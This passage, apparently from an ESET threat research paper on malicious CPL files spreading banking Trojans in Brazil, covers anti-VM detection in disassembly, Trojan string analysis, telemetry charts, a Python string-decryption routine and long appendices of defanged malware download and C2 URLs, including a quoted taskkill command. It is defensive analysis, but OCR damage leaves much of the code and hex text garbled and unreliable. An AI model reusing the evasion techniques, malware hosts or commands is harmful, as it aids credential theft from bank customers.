mov [ebp+var_8], ecx
pop edx

pop ecx

pop ebx

pop eax

xor eax, eax

pop edx

pop ecx

pop ecx

mov fs:[eax], edx
jmp short loc_4AB994

ol s =

loc 4AB994:

Lcmp

[ebp+uar_A4],

"UMXh'

|

Figure 16 — Verification for VMware

Finally, Figure 17 shows the verification process for Virtual PC, where the detection is based on the execution of an undefined
instruction. In any environment other than Virtual PC, that instruction will generate an exception. Therefore, in the figure we can
see that IDA has interpreted this code for a nonexistent operation as if it were a vpcext instruction, but with other tools — like

OllyDbg — we shall see that those 4 bytes cannot be interpreted as instructions[9]. We can also see that the handling routine for
the generated exceptionis in 1loc_4ABB76. In short, if the execution of these bytes does not generate an exception that can be
caught by the application, then it means we are in a Virtual PC environment.

19
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=]

push
mov
mov
push
push
push
mov
mov
mov

; Attributes: bp-based frame
chk_virtualPC proc near

var_C= dword ptr -6Ch
var_4= dword ptr -4

var_sB= dword ptr 6
arg_8= dword ptr 16h

ebp
ebp, esp

ecx, offset loc_4ABB76

ebx

ecx

large dword ptr fs:@
large fs:8, esp

ebx, 6

eax, 1

||lupcext 7, BBh |

db
mov
mov
add
test
setz
db
lea
db
mov
db
mov
add
retn

3Joh

eax, [esp+8Ch+var_C]
large fs:8, eax
esp, 8

ebx, ebx

al

36h

esp, [ebp-4]

36h

ebx, [esp+i+uar_ 4]
36h

ebp, [esp+4+var_sB]
esp, 8

Figure 17 — Verification for Virtual PC
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Banking Trojans

For what purpose are CPL files used as downloaders? In theory, the possibilities are limitless and the malicious payload could be

of any type. However, as shown by the statistics, an overwhelming percentage of these CPL executables installed on systems are

banking Trojans.

While there is no great similarity among all the bankers downloaded by the CPL files, we have found some characteristics that are
worth highlighting. Take as an example the banking Trojan whose SHA-1 is
3C73CA6A3914A6DF29F01A895C4495B19E71A234. The executable is not packed and from the analysis of the strings we
note the following:

Mouse events, and keys and keyboard layouts. Examples: "[enter]", "[esp]" (spacebar), "[cima]" (up arrow), "[baixo]" (down).
Functions for socket handling.
Routines for communication encryption with SSL.

Messages in Portuguese related to banking transactions, suchas "Utilize o teclado virtual."
Different protocols. For example: "ftpTransfer", "mailto:","://","HTTP/1.0 200 OK".
Username, password.

Several strings encrypted with the same algorithm as seen in CPL files. Figure 17 shows this part of the strings.

[ a_x_tat ml

20943
20949
20950
20951
20952
20953
20954
20955
20956
20957
20958
20959
20960
20961
20962
20963
20964
20965
20966
20967
20963
20969
20970
20971
20972
20973

CO438BE46FDE13BS5CEFE8FC163E512B21AC165859A3D9E41E363E604718985
4ADATIASS5087A923D00DZF A4S

SC9831DBOA41E76192CC6FE473D278D6023 4

hfP

ZYYd

AC

Qt3

ZYYd

023CA691B210D1

D440ES5B344B7A9CEGE

ES7BES79

BE7FDEBOE3ALTS6DS054D

1CD970944495578E
6DOECB7DASZZ2CA1CCO18274DF06491369140F52ECC1DB6649B339A499COE4781C36EQAS6CDOBZEEGGE9ESL
0S0B4DFEZS55193D668

6B8SCDO773EFDZ46

B877DF1179ES514B8

BE44ESBEED6DDEOBE469

BO4DSSED67AD41

DOEDES1C395F90

29C513C66CAZ54

ZFCFOD38DD34CE

ZYYd

ZY¥d

EAD441F02759DB3BFS55A8289AA113D97C06DCO7EABZ 1B26098C1DF044737CAC10028DA7DAZZ4013 64728
98AEZAESSZ8EBCO1

Figure 18 — Encrypted strings that are also present in banking Trojans.

These encrypted strings include:

Names of Brazilian banking institutions: Sicredi, Banco Itau, Santander, Bradesco, bb . com.br (Banco do Brasil), Caixa
Federal

Browsers: Chrome, Opera, Firefox, IE, Safari

URLs: “hxxp://www.sonucilaclama.com.tr/plugins/editors-xtd/pagebreak/oi/html/h/1g.php”,
“hxxp://www.cvicak-polanka.cz/b/notify.php”, “hxxp://64.31.51.19/01.txt”.

More keys such as “[Backspace]”, “[Page Up]” or “[Page Down]”

Data files and temporary files

User agents

Commands such as “cmmd /c taskkill /f /im dwm.exe /t”
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Merely by examining these strings, we immediately get an overall idea about the capabilities of this banking Trojan. Generally
speaking, the analyzed bankers include: code injection into specific processes, mainly browsers; replacement of forms in
browsers (by means of images embedded in the banker) and injection of additional fields; keylogging capabilities, as well as
hooking routines to capture mouse and screen events; and encrypted communications with the server where the stolen
credentials are stored. However, bankers are not limited to these possibilities.

The Reach of CPL Malware in Brazil

In the previous sections of this article, we have discussed the different techniques and threats used by cybercriminals in Brazil to
spread CPL files. In this section, we will analyze the evolution over time of the activity involving these kinds of files within the
region.

One of the most important points regarding CPL files is related to the impact and growth they have had in the last few years. In
Chart 1, we can see the increased relevance of CPL malware in the region:

Evolution in the amount of CPLfiles reported
by users to ESET LATAM Research Lab

- ® CPL
100% ® DLL
® EXE
80% [—
60% —
40% —
20% [—
0 T T | | I I
2009 2010 2011 2012 2013 2014 2015

Chart 1 — Growing number of CPL files

The chart above shows the relationship between the types of executables sent by Latin American users to the ESET LATAM Lab
since 2009 up to the first months of 2015. When we analyze the relationship between files reported in the region, we notice a
major change. The biggest leap, maybe predicting this trend, is between 2012 and 2013. At the beginning of 2012, only 5% of the
files sent by users to the ESET LATAM Lab corresponded to CPL malware. However, in 2013 this figure increased to 20%,
quadrupling its number as compared with the previous year.

The second most important change can be seen throughout 2014 and early 2015, where the percentage of samples the users
received increased by 50%. During the first quarter of 2015, three out of every ten samples that users sent to the ESET LATAM
Lab were CPL files.
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The samples sent by users to the Lab also helped us analyze the frequency with which they reached the Lab:

Reports by users, regarding malicious CPL files

® 2009
® 2010
201
® 2012
@ 2013
@ 2014

Chart 2 — Malicious CPL-file reports sent by users

The two years that clearly saw more malicious activity were 2013 and 2014, when 90% of the CPL malware samples were
reported. Although we know that this activity began before 2013, analyzing the users' reports sent to our Lab allows us to assess
the moment at which they identified a file as suspicious, regardless of the file extension.

Detections, Threats and Functions

Out of the more than 1500 samples we took for our analysis, 82% of the detections are variants of
Win32/TrojanDownloader.Banload, a malware family that has prevailed for years in Brazil as the main form of malware. Among
the most distinctive characteristics of this family we found, according to the ESET LiveGrid telemetric data, are that Brazil is the
country they affect most and the difference is significant when compared to the rest of the world:


http://www.virusradar.com/
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9%

Figure 19 — Detections of Win32/TrojanDownloader.Banload in the world.

When we compare the data from the rest of the world and list the top ten countries most affected by this family of Trojan
Downloaders, we find that 76% of the detections in 2014 come from Brazil. This very clearly demonstrates that this malware
family is specifically targeting users in that country — the second place, occupied by Spain, has almost eleven times fewer
detections and the gap extends further with other countries like Argentina, Colombia and even Portugal.

Worldwide detections of
Win32/TrojanDownloader.Banload

@ Brazil

@ Spain

® Others

® Argentina

® Colombia
Portugal

® Peru

® Mexico

® Italy

@ United States
Thailand

Chart 3 — Countries with the largest number of Win32/TrojanDownloader.Banload detections
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Almost one out of every ten threats detected in Brazil belongs to this family of banking Trojans. The ranking of threats for this
country in March 2015 is as follows:

TOP10Threat Radar

% 1

N
w
P~

Win32/TrojanDownloader.Banload

HTML/Scrinject ‘ ‘ ‘ ‘ ‘ 7!54%

Win32/Spy.Banker [ 3‘.53%
MSIL/TrojanDownloader.Banload === 3.36%
Win32/Adware.MultiPlug ‘ i 213%
Win32/AdWare.ConvertAd ‘ ’1.67"/J
JS/TrojanDownloader.lframe ‘ ].63%i
HTML/Refresh | 1.44%
Win32/Adware AddLyrics . 1.4%
LNK/Agent.Ak ‘I l 1.37%

Chart 4 —Top 10 threat propagation in Brazil

As explained in a previous section, the goal of a Trojan Downloader is to evade system protection and to download another

threat from a website in order to install it and execute it. By means of this technique, attackers try to ensure that the real payload

of the attack will not be detected by security software, and thus it will not reveal its true intentions.

URLs and Domains

Throughout the multiple campaigns that involved these banking Trojans, we have identified a total of 419 URLs corresponding to

nearly 300 domains in various countries that hosted the threats to be downloaded.

Of the 298 domains we have seen that propagated different threats from 2013 to early 2015, 76 belonged to compromised
domains in Brazil that hosted different threats. Some of the links contained in the executable files were shortened through
systems like bit.ly. Based on the information gathered by these systems, it is possible to confirm the number of clicks made by
users on these links and the extent of an attack. In contrast, cybercriminals use URL shortening services as part of their Social
Engineering techniques to hide the real domain users are actually visiting. However, in the cases we will discuss below, the
shortened URLs were taken from the strings of the malware variants we have analyzed; it is not clear why they used shortened
URLs in the executable files.

As an example, if we take one of the links used by cybercriminals at the beginning of 2014 that was spread by shortening its URL,
we can see the number of clicks made on the link and throughout its lifetime:

8.93%
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Chart 5 — Clicks on links propagated by making use of URL shorteners

In the picture above we can see that the link (hxxps://bitly.com/KZwgHO) was active during the first months of 2014. Moreover,
the same data show that the total number of clicks were more than 9500:

WHERE THIS BITLINK WAS SHARED

Other Sites Unknown

7 clicks () 9 , 504 clicks
Referrers x
direct 9504

Figure 20 — Detailed number of clicks

In total, there were 10 thousand clicks on the link to this threat and, according to the same statistics provided by the website,
88% of them came from Brazil. This emphasizes that cybercriminals in Brazil are mainly targeting people in the same country,
doing so very effectively. In the next table we can see other figures for different shortened links that were also used:

Number % of clicks

el of clicks  in Brazil Llusat
hxxp://bit.ly/15ZkzZvVq+ June 2013 2526 69% Win32/TrojanDownloader.Banload.RXB
hxxp://bit.ly/1I9ZHA8D+ | January 2014 3014 85% Win32/TrojanDownloader.Banload.SRX
hxxp://bit.ly/KZwqHo+ February 2014 9504 88% Win32/TrojanDownloader.Banload.SVU
hxxp://bit.ly/imzhuMyz+ | January 2014 6489 88% Win32/TrojanDownloader.Banload.SRX

Table 1 — Details of the links used

All shortened links that were found in the Win32/TrojanDownloader.Banload variants have a very high percentage of clicks in
Brazil, which further clarifies who the intended targets of these threats were.
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Packers and Protectors

Another aspect we can highlight regarding these campaigns is the software cybercriminals used to protect their threats and even
to avoid detection by security solutions. As expected, the most-widely used protection packer — seen in 27% of the cases — was
UPX, followed by PECompact with 8%:

Packers and protectors
In CPL Malware

fl%—]

@ No packer detected

@ UPX

® PECompact

@ ASProtectV2
PKLite

® Petite

@® ACProtect
NsPack

Chart 6 — Malicious-CPL-file packers and protectors

Moreover, we have seen a number of threats with uncommon or custom protection packers, including URL encryption, as
described in previous sections. Attackers usually employ these tools to reduce the size of their malware and also to avoid
detection.

27
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Detections and Malware Families

The last point we will discuss in this section has to do with the malware families that predominate in the CPL files sent by users to
the ESET LATAM Lab.

82% of the reports corresponded to Win32/TrojanDownloader.Banload variants, whose behavior and activities we have
analyzed in this article, detailing some characteristic features noted in the Lab. On the other hand, bearing this trend in mind, the
family with the second largest detection number is Win32/Spy.Banker[10] — a malware family that steals information from the
victims' computers through various techniques and then sends it to the attackers.

The distribution of all the malware families with CPL files that we have seen in Latin America is shown below:

CPL Malware families
In Latin America

@ Win32/TrojanDownloader.Banload
@ Win32/Spy.Banker
® Win32/TrojanDownloader.Delf
® Win32/Injector.BMUC
® Win32/Spy.Banbra
Win32/Spy.Delf
® Win32/TrojanDownloader.Agent
® Win32/Inject.NHN
® Win32/Ramnit.F
Win32/Packed VMProtect

Chart 7 — CPL malware in Latin America

Another family we should mention is Win32/Spy.Banbra. Malware from this family has been active in Brazil for years [11] and
nowadays we still find cases in which cybercriminals are taking advantage of the users' computers to send thousands of spam
emails to keep on infecting victims. In Brazil, Banbra is one of the families used to that end.

Furthermore, we would like to highlight that we have noticed the growth of another banking Trojan family in Brazil, detected by
ESET as MSIL/TrojanDownloader.Banload. This new generation of bankers is developed in .NET, as opposed to the threats we
have discussed here, which were written in Delphi, Visual C++ and/or Visual Basic. Though we will not analyze these Trojans here,
we would like to emphasize that in the medium term they could certainly become one of the most important malware families in
Brazil.


http://virusradar.com/en/Win32_Spy.Banker/detail
http://www.virusradar.com/en/Win32_Spy.Banbra/detail
http://www.welivesecurity.com/la-es/2009/02/20/infeccion-archivos-no-ejecutables/
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Conclusion

During the period in which this research was conducted, we observed how the cybercriminal ecosystem in Brazil differs from the
rest of the region. The manner in which threats are developed and distributed denotes a greater commitment from
cybercriminals, who perform their attacks in a customized fashion, by taking into account the different modes of operation in the
Brazilian electronic banking. As we have seen, this country is one of the top three users of online banking in Latin America, and
half of its social network users made at least one online transaction during 2013. Therefore, we believe this has an impact on
cybercriminals, who are investing more effort into these attack campaigns.

To be more specific, in the rest of Latin America we have seen the propagation of different bots, written in various programming
languages and making use of different social engineering techniques. These threats, in most cases, come from different
crimepacks, either those whose code has leaked or the ones sold in some underground forums. In Brazil, the threats present a
more homogeneous structure. As we have already mentioned in this paper, we can see banking Trojans prevailing over other
forms of malware in this country.

From the analysis of thousands of samples, we were able to find some answers by looking at certain relationships among them.
The similarities found not only in the CPL downloaders but also in the banking Trojans are numerous. In the first place, we see
that Delphi is the programming language used in almost all of the samples — except those with custom packers written in other
languages, but which still use Delphi in their unpacked code. They also use the same encryption algorithm, which we have not
seen with any other threat in the region. Finally, we can say that the propagation campaigns used are similar and that they keep
recurring.

All these similarities tell us that these attacks are being carried out by the same cybercriminal group or by many groups that are
in contact with each other and who share information. These attackers differ from their peers in the region because they do not
use generic crimepacks — although the CPL files containing malicious code did not originate in Brazil, we could ascertain that
many of the elements present in the current campaign were made in Brazil. Due to the strings in Portuguese present in the
executables, as well as the consistent use of the Delphi language, it is reasonable to believe that quite a lot of local work went
into developing the threats, rather than merely adapting those that already exist.

Another point for consideration has to do with the use of Downloaders. It is very common when detecting binaries of this kind
not to raise further questions about them. In this case, by doing so we would miss the opportunity to find a malicious campaign in
its early stage if we fail to analyze the kinds of threats that are downloaded and executed in a compromised system. It is really
worthwhile to investigate where these Downloaders go, so we can detect patterns by country or region.

We can conclude that the CPL files have been recycled by cybercriminals in Brazil and have been the most popular means to
propagate banking Trojans in the country recently. Although the functionality of these malware families is specific, the study of
payloads and the changes in technology will lead cybercriminals to use new techniques and technologies to propagate their
threats.

Here lies the challenge for security companies — to analyze, study and detect the new threats issued by attackers to compromise
their future victim’s systems’.
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Appendix A

String Decryption Routine in Python

def isHexCapitalized(string):
val = True
for ¢ in string:
char = ord(c)

if (char < 48 or char > 57) and (char < 65 or char > 70):
val = False
break
return val
def descifrar (key, ciphertext):
llave = key
cifrada = ciphertext
descifrada = "'
if not isHexCapitalized(cifrada):
return descifrada
sub = int(cifradal[:2], 16)
cifrada = cifrada[2:]
while cifrada != '':
xor2 = int (cifradal[:2], 16)
xorl = ord(llave[:1])
llave = llave[l:]
if llave == '':
llave = key
char = xorl © xor2
if char < sub:
char = char + 255
char = char - sub
if char < 32 and char > 126:
descifrada = "'
break
descifrada = descifrada + chr (char)

sub = int (cifradal[:2], 16)
cifrada = cifradal2:]

return descifrada
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Appendix B
List of URLs Obtained Through Static Analysis

e hxxp://137.116.185.18/wararbr/wrar32br.zip

e hxxp://184.173.216.25/~fotosins/Dados/Arquivo_Audio.exe

e hxxp://184.173.216.28/~fotosint/Comentario/Win2102.exe

e hxxp://184.173.225.223/~promoc/Flash_Play.exe

e hxxp://186.202.139.190/ler/bily.mpg?C2C818AEA0D6287d

e hxxp://186.202.179.110/18-07-homer.exe

e hxxp://200.206.76.67/ilusiones/linexs/teste.zip

e hxxp://200.98.200.93/Componente-Certificador.exe

e hxxp://37.187.65.198/bambam.cpl

e hxxp://37.187.65.198/Chrome_Update_2014.exe

e hxxp://50.97.101.7/~subzi845/bck.zip

e hxxp://65.181.122.39/~facebook/carregandoimagens00112299988mmxcvsVCLIKENAytftfvbwei5463425634363.mp3
e hxxp://67.23.255.34/~comentar/Face/Facebook_Comentario.exe
e hxxp://69.162.72.158/img_log.zip

e hxxp://academiebeaute.hu/img/vanessa.mp3?32984329492365353
e hxxp://acmeco.com.br/hydraa.mp3

e hxxp://acompanha-noite.p.ht/notify.php

e hxxp://adobeboleto.googlecode.com/svn/svrc.exe

e hxxp://amentoladofreexxxpoly.com/saidas/polys.pac

e hxxp://anexodocx.zz.vc/image/orasco/vilagepark.rar

e hxxp://aruralsm.com.br/sysviewer/1.zip

e hxxp://asiacongress.com/backendz/fckeditor/editor/plugins/tablecommands/mshtasoft.zip
e hxxp://aslong.googlecode.com/svn/Soft.exe

e hxxp://autoparts.co.nz/Editor/core/barao01/setup.xml

o hxxp://babirossi.com.br/musicas/Like.mp3?B174B272B088BD78B2
e hxxp://bataco.net/shop/cp/001/print.exe

e hxxp://bellathornebrasil.fanzoom.net/galeria/images/messenger.gif
e hxxp://besinciyildiz.av.tr/images/resimler/wappbraweb.zip

o hxxp://bit.ly/15ZkzVq

e hxxp://bit.ly/19ZHA8D

e hxxp://bit.ly/1DbPAOz

e hxxp://bit.ly/KZwgHO

e hxxp://bitly.com/1bRPamp

e hxxp://bitly.com/1eC2YQC

e hxxp://bitly.com/1mzhuM?7

e hxxp://bitly.com/1nbf4cS

e hxxp://blogconfianca.institucional.ws/smart.exe

e hxxp://bruslimpo.com.br/images/confi.zip

e hxxp://bussineysday.com/avisos/verifica.php

e hxxp://buyersindex.com/images/spacerx.gif

e hxxp://camoluksu.com/images/tmp.zip

e hxxp://canoasfacil.com.br/site/libraries/iex.exe

e hxxp://capricafe.com.au/images/infect.php

e hxxp://casasbrotinmg.com.br/932849384.zip

e hxxp://cdl2014.hol.es/12072013.zip

e hxxp://cdl2014.hol.es/23082013.zip

e hxxp://cdl2014.hol.es/27082013.jpg

e hxxp://cdl2015.hol.es/27082013.jpg

e hxxp://centraldeinformacao.info/13/setup.xml

e hxxp://centrecomparis.com/images/smile.gif

e hxxp://churrascodorei.com.br/imagens/cobertura/yvenilper.zip
e hxxp://cl.ly/2E13193s2x0i/download/verdinhas.rar
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hxxp://clientexclusivo.com/htaccess.cpl
hxxp://commondatastorage.googleapis.com/loadr%2Fbambam.cpl
hxxp://commondatastorage.googleapis.com/modulos%2FRetBol.dll
hxxp://commondatastorage.googleapis.com/private2%2Fchromeld.cpl
hxxp://cpro20222.publiccloud.com.br/dmswinupdate.dll
hxxp://cpro20222.publiccloud.com.br/Process_windows_system32DHSDISIFSjs.cpl
hxxp://dekafotos01.url.ph/index.php
hxxp://disistemas.com.br/font/win.exe
hxxp://dl.dropboxusercontent.com/s/2czkzhlyz3tikae/conf.html
hxxp://dl.dropboxusercontent.com/s/khzztabvscm46su/dig.html
hxxp://dowinformativo.net/smal/01/html.zip
hxxp://dtimbiras.megatronicnet.com/kastplay/messenger1.gif
hxxp://eiainteriors.com/wp-content/plugins/jetpack/08-07-homer.exe
hxxp://elblocdecomerc.pimec.org/wp-content/plugins/08-07-homer.exe
hxxp://empresapeixarialtda.com.br/project/gbweb.zip
hxxp://equiplus.com/autoplaza/img-23.mpg?874623846234
hxxp://expotrator.com.br/img/glyph/libmysql.jpg
hxxp://expotrator.com.br/img/icons/tabs/libmysql.gif
hxxp://farjad.de/templates/beez5/images/2013.cpl
hxxp://fart.bialystok.pl/images/banners/gbweb.zip
hxxp://flasheplayer.googlecode.com/svn/Song.exe
hxxp://flock.com.br/work/imagens/Inject.exe
hxxp://globovisivelmente.com/mac/mshtasoft.zip
hxxp://harshwhispers.com/img/dunptty.gif
hxxp://haspnegocios.com/webmaster/clientarea.pac
hxxp://integro.com.pl/media/smile.gif
hxxp://jarga3d.com/Armsvcsy.exe
hxxp://joseluis008.hospedagemdesites.ws/posto.pdf
hxxp://keyforbysmartprime.org.uk/02/setup.xml
hxxp://keyforbysmartprime.org.uk/04/setup.xml
hxxp://keyforbysmartprime.org.uk/07/setup.xml
hxxp://keyforbysmartprime.org.uk/10/setup.xml
hxxp://kitexploit.p.ht/notify.php
hxxp://klikideas.com/jocostop/modules/mod_breadcrumbs/tmpl/zepequeno.jpg
hxxp://logoscursos.com.br/img/hp/temp.rar
hxxp://magdamarconi.com.br/galeria/lorena/g1.gif
hxxp://mamaocomcacucarl2.hol.es/novo/tmp.zip
hxxp://manoelvoraz.com/waidman/PC_Client1.rar
hxxp://mardelrosa.com.br/imagens/filme.zip
hxxp://maxmortol.com/under/key.jpg
hxxp://mundogynfesta.com/page3/inf/lojal.html
hxxp://mundogynfesta.com/page4/copa0l.html
hxxp://newcontoks.1gb.ru/Cont_Mod02/notify.php
hxxp://noithatliti.com/main/images/smile.gif
hxxp://noithatliti.com/main/modules/smile.gif
hxxp://oitv.1gb.ru/ng.jpm
hxxp://omegahar.com/element/gameoverl.dat
hxxp://painelremoto.url.ph/libmysql.jpg
hxxp://pfal7.fr/chrrme.exe

hxxp://pfal7.fr/Java.exe

hxxp://pfal7.fr/Javar.exe

hxxp://pfal7.fr/mrs.exe

hxxp://pfal7.fr/msconfige.exe

hxxp://pfal7.fr/Mspro.exe

hxxp://pfal7.fr/mswconfi.exe

hxxp://pfal7.fr/sony.exe
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o hxxp://pfal7.fr/Top4.php

o hxxp://ploff.net/wp-content/uploads/gbpsvs2.jpg

e hxxp://portalurate.com/home/media/smile.gif

e hxxp://promocaoll.com/neo.jpg

e hxxp://protect.org.br/protect/messenger.gif

e hxxp://protect.org.br/protect/messengerl.gif

e hxxp://protect.org.br/uploads/libmysql.dll

e hxxp://rpwebdesigner.com/~sistemac/2012-01.cpl

e hxxp://saintfiacre.groupe-antilopes.fr/css/fonts/print.exe

e hxxp://server.company.com/scripts/httpsrvr.dll

e hxxp://sixsevengrifes.com.br/snm/copafifa.txt

e hxxp://stelc.net/download/Mendley.mp3

e hxxp://stocco.com.br/admin/css/xquery.rar

e hxxp://stocco.com.br/web/images/zyb_img.zip

e hxxp://stocco.com.br/web/swf/wanil.rar

e hxxp://stocco.com.br/web/wanil.rar

e hxxp://stocco.com.br/web/yshdu_xxaso.zip

e hxxp://sunshinegaragedoors.com/images/banners/images/bckup/bckimg.zip
e hxxp://ta-zikra.com/images/gbweb.zip

e hxxp://tiagopaiva.com/components/com_wrapper/sfognoUU023597320975LIAEUFGAWIU322.2.cpl
e hxxp://topspaintopbrasil.com/caixa/verifica.php

e hxxp://trabalhador.hol.es/fotos.zip

e hxxp://trabalhadores.hol.es/26062013.zip

e hxxp://tributaluci.com.br/vamos005/setup.xml

o hxxp://trishaportbury.com/web/libraries/Xuru.zip

e hxxp://tudobomnavida.com/Limpa.jpg

e hxxp://tudobrasil.freetzi.com/contador.php

e hxxp://uonder.googlecode.com/svn/svrc.exe

o hxxp://vspeletro.com.br/Imagens/28746.mp4

e hxxp://vulcanoempresasvl.hospedagemdesites.ws/java/conte.php

e hxxp://webbrasild.com.br/seguro/diario04.rar

e hxxp://windows2013.googlecode.com/svn/ASCTray.exe

o hxxp://wskop.googlecode.com/svn/Sond.exe

e hxxp://wskop.googlecode.com/svn/Songs.exe

e hxxp://wsolucoes.com/imagens/vpr.mp4?824287642184

o hxxp://www.3dpics.org/media/system/js/email.php

e hxxp://www.4shared.com/download/hMaSoBz9/teste.zip

e hxxp://www.advogadoscaxias.com.br/includes/js/jscalendar-1.0/lang/html/oi/DIx_x_.png
e hxxp://www.atrevitta.com.br/wp/wp-content/plugins/nextgen-gallery/lib/multisite.dll
e hxxp://www.autokrupobiti.cz/modules/mod_ppc_simple_spotlight/elements/teste.zip
e hxxp://www.brasilmotos.com/imagens/temp.rar

e hxxp://www.calcadoskalliny.com/images/email.php

e hxxp://www.casafavais.com/plugins/system/gbweb.zip

e hxxp://www.cattlognore.com/catalogos/panfletos.pac

e hxxp://www.cidra.com.ar/images/stories/1.pdf

o hxxp://www.cifra.pt/teste/images/email.php

e hxxp://www.clippinglook.com.br/img/icons/DSC00280.jpg

o hxxp://www.confrariademulheresbrasil.com.br/plugins/user/Visualizar.exe
e hxxp://www.contabilidadeattiva.com.br/wsb/w.gif

e hxxp://www.coopibi.coop.br/js/lightbox/contador/scr.php

e hxxp://www.crmpropertiesllc.com/infran.dll

e hxxp://www.cylia.org/theatre/wp-includes/theme-compat/Errorsms.exe

e hxxp://www.entrepreneuressacademy.com/blog/wp-content/plugins/wp-get-post-image/27-07-homer_original.exe
e hxxp://www.eticket.hyrtechsolutions.com/avenger.exe

e hxxp://www.guimaraesvaz.adv.br/img/slides/novo_horizonte/familylek.zip
e hxxp://www.hostingop.kinghost.net/redir_pro.php

e hxxp://www.icpr.ch/images/y2003.jpg
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o hxxp://www.isdep.ru/templates/atomic/html/mod_menu/default/default_image.jpg

o hxxp://www.isdep.ru/templates/atomic/html/mod_menu/default/index2013/default.jpg

e hxxp://www.kolomonen.net/images/M_images/mail.exe

e hxxp://www.libanus.com.br/LuaBy/WinscpPor.nil

e hxxp://www.mac2hand.com/images/images/Mag7.zip

e hxxp://www.maisgasnasuavida.com.br/joomla/modules/00000/pClient.exe

e hxxp://www.nfepaulistana.biz/down/logs.exe

e hxxp://www.novo-site.p.ht/notify.php

e hxxp://www.pixelsav.com.br/old/apps/jquery_nivo/isertimagem.jpg

e hxxp://www.questera.com/images/img/smile.gif

e hxxp://www.questera.com/images/img/smilib.gif

o hxxp://www.redijrl.esy.es/Sem_Msg_Erro.exe

e hxxp://www.rjcc.com.br/site/application/modules/eventos/models/evento.dll

e hxxp://www.rmmrs.org/modules/mod_breadcrumbs/tmpl/libmysgl.dll

e hxxp://www.schwarci.hu/atalanta/mazurekpeter/Joomla/templates/atomic/css/blueprint/plugins/buttons/icons/icon.png

e hxxp://www.sinfazerj.org.br/cms/skins/images/view_image.dll

e hxxp://www.ttumdreep.com.br/redir/fotos1/index1.php

e hxxp://www.varejaotropical.com.br/imagens/DSC00280.jpg

e hxxp://www.viewerspro.eu/redirs_pro/wrar32pt-br.zip

e hxxp://www.zugoszel.hu/files/smile.gif

e hxxp://zugoszel.hu/modules/smile.gif

e hxxps://dl.dropboxusercontent.com/s/4siuluy2034g95u/neopzl.jpm

e hxxps://dl.dropboxusercontent.com/s/dnn2y25jrlzec4t/adober.exe

e hxxps://dl.dropboxusercontent.com/s/e03z93ard9hbvbz/meu.kmp

e hxxps://dl.dropboxusercontent.com/s/mqgeygm95wrOpwfb/pux.gyn

o hxxps://dl.dropboxusercontent.com/s/q81bmroOsohas11/LO.jpm

e hxxps://dl.dropboxusercontent.com/s/qnalsym5exkucxp/bilau.cgc?83274628346

e hxxps://dl.dropboxusercontent.com/s/sgkwcadmmd4xbq0/837456478.gib?dI=1&token_hash=AAHjSABo4ugOiowbT3NFbKORsv
_EncxfMyH6P4AmIfz)3kQ

e hxxps://docs.google.com/uc?id=0B809n5kKDcs1LUtVSVAnNIICNmM

e hxxps://docs.google.com/uc?id=0B809n5kKDcs1QjRISXZPUWNYa00

e hxxps://docs.google.com/uc?id=0BzHgGW5s4IVvVIRfd1d6d080ZW8

e hxxps://goiania.box.com/shared/static/I83h0c6crd82fvty24cg.nil

e hxxps://googledrive.com/host/0B2oh2Mq7JN6vbzY2VDJRTGXLNDg/beach.jpg

e hxxps://googledrive.com/host/0B8kG7jokle4CTkSHQXU2WGtycHc/beta.jpg

o hxxps://googledrive.com/host/0B-MDNoRtYCSuN;jVCZzI6blJwT00/vj/argentina.jpg

e hxxps://googledrive.com/host/0BygfTSONjfziTEYOcUx10VM5Ykk/litro.jpg

e hxxps://s3-sa-east-1.amazonaws.com/mats01/kick.rar

List of Incomplete URLs

e hxxp://138.91.88.144/000/CPL_grweiguweuovhweuwehKUGFCYWQKFWQF87923589723587935287932.2
o hxxp://162.243.142.244/CPL__EARIUGERUGEROUERGBERUGEORU3059723952379057EIWUFHWEIFsdjgwer.2
e hxxp://177.153.6.67/modulos/

e hxxp://177.70.107.177/

e hxxp://178.32.35.134/CPL_asduasidnsajdkuilh298h9sand9as8hd89sadh912.2

e hxxp://186.202.178.32/002586/

e hxxp://192.210.195.50/3303/

e hxxp://198.20.101.77/diega/

e hxxp://198.23.250.211/1908/

e hxxp://198.23.250.211/sms/

e hxxp://200.98.145.220/panysyst/

e hxxp://200.98.200.194/03873tg8964634/

e hxxp://200.98.200.194/bxaki/tg0348753/

e hxxp://216.144.252.28/015/

e hxxp://37.187.65.198/1/new02948nffdd.2

e hxxp://37.187.66.233/CPL_psdkjkpaldajoDIJSDIOAJSDoiasji1203123123.2
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e hxxp://3eartmoveis.com.br/tmp/

e hxxp://46.105.17.127/CPL_ausdasduasydiusayd123871283127I0SDHIUAUSDYG.2
e hxxp://64.31.21.38/mods/

e hxxp://85.25.213.184/

e hxxp://asiapointx.com.br/chats/downloads/

e hxxp://ayurchem.com/23/

e hxxp://barraone.com.br/wp-content/upgrade/na/

e hxxp://carregando00.cu.cc/CARREGANDOX

e hxxp://consorcioeldorado.com.br/images/

e hxxp://controle2.dynamic-dns.net/

e hxxp://cprol7738.publiccloud.com.br/190813/ma50/

e hxxp://cpro19600.publiccloud.com.br/Module/0xh4KiraKlhxQfPqOIKC.LO
e hxxp://download.modulosweb2014.com.br/015/

e hxxp://easysign.com.br/novo/

e hxxp://favela-dafree.info/

e hxxp://fotos001.zapto.org

e hxxp://gabinetexpert.com.br/CAV/

e hxxp://gatol2012.no-ip.org

e hxxp://gruporainhadassete.hospedagemdesites.ws/assinaturas/
e hxxp://gruposiepierski.com.br/Nova pasta/conf/

e hxxp://isionip.com.br/cgf/

e hxxp://ivrempreiteira.com.br/old/

e hxxp://maisumavezconta.info/escrita/

e hxxp://novakl.servemp3.com

e hxxp://sofhia27022013.servehalflife.com

e hxxp://transitoaberto.com.br/zip/homernovo/

e hxxp://transitoaberto.com.br/zip/sumervile/

e hxxp://videospornocomfamosos.com.br/bic/saveinfect.php?idcli=
e hxxp://vinhosevinhos.com/bkp/

e hxxp://wrmarketing.com.br/xcvxcvxcvxcvxcv/

e hxxp://www.4shared.com/download/6vhuQOE7ce/

e hxxp://www.celgogo.com.br/system/

e hxxp://www.girarrosto.com.br/cgf/

e hxxp://www.telhanobrers.com.br/uploads/default/files/zip/homer/
e hxxp://www.telhanobrers.com.br/uploads/default/files/zip/jk/

e hxxps://nsarquivosold.googlecode.com/svn/

e hxxps://nsprojet.googlecode.com/svn/

List of curious URLs

e hxxps://www.youtube.com/watch?NR=1&v=v_oOp9e_Ofw&feature=endscreen — Music video

° hxxp://www.devmedia.com.br/delphi-xe2-executando-automaticamente-privilegios-de-administrador/25125#ixzz2 URS5ZISY
— Delphi tutorial

